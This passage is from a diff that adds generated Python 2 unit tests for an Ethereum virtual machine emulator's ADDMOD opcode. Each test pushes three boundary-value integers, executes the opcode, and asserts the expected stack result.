+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300783L])
+
+    def test_ADDMOD_328(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300526L])
+
+    def test_ADDMOD_329(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300782L])
+
+    def test_ADDMOD_330(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300798L])
+
+    def test_ADDMOD_331(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300814L])
+
+    def test_ADDMOD_332(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300830L])
+
+    def test_ADDMOD_333(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718431L])
+
+    def test_ADDMOD_334(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300782L])
+
+    def test_ADDMOD_335(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_336(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_337(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301007L])
+
+    def test_ADDMOD_338(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_339(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_340(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_341(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_342(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADDMOD_343(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300783L])
+
+    def test_ADDMOD_344(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_345(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2L])
+
+    def test_ADDMOD_346(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301008L])
+
+    def test_ADDMOD_347(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_348(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_349(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_ADDMOD_350(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49L])
+
+    def test_ADDMOD_351(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_ADDMOD_352(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300526L])
+
+    def test_ADDMOD_353(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301007L])
+
+    def test_ADDMOD_354(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301008L])
+
+    def test_ADDMOD_355(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300751L])
+
+    def test_ADDMOD_356(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301007L])
+
+    def test_ADDMOD_357(self):
+            #Make the constraint store
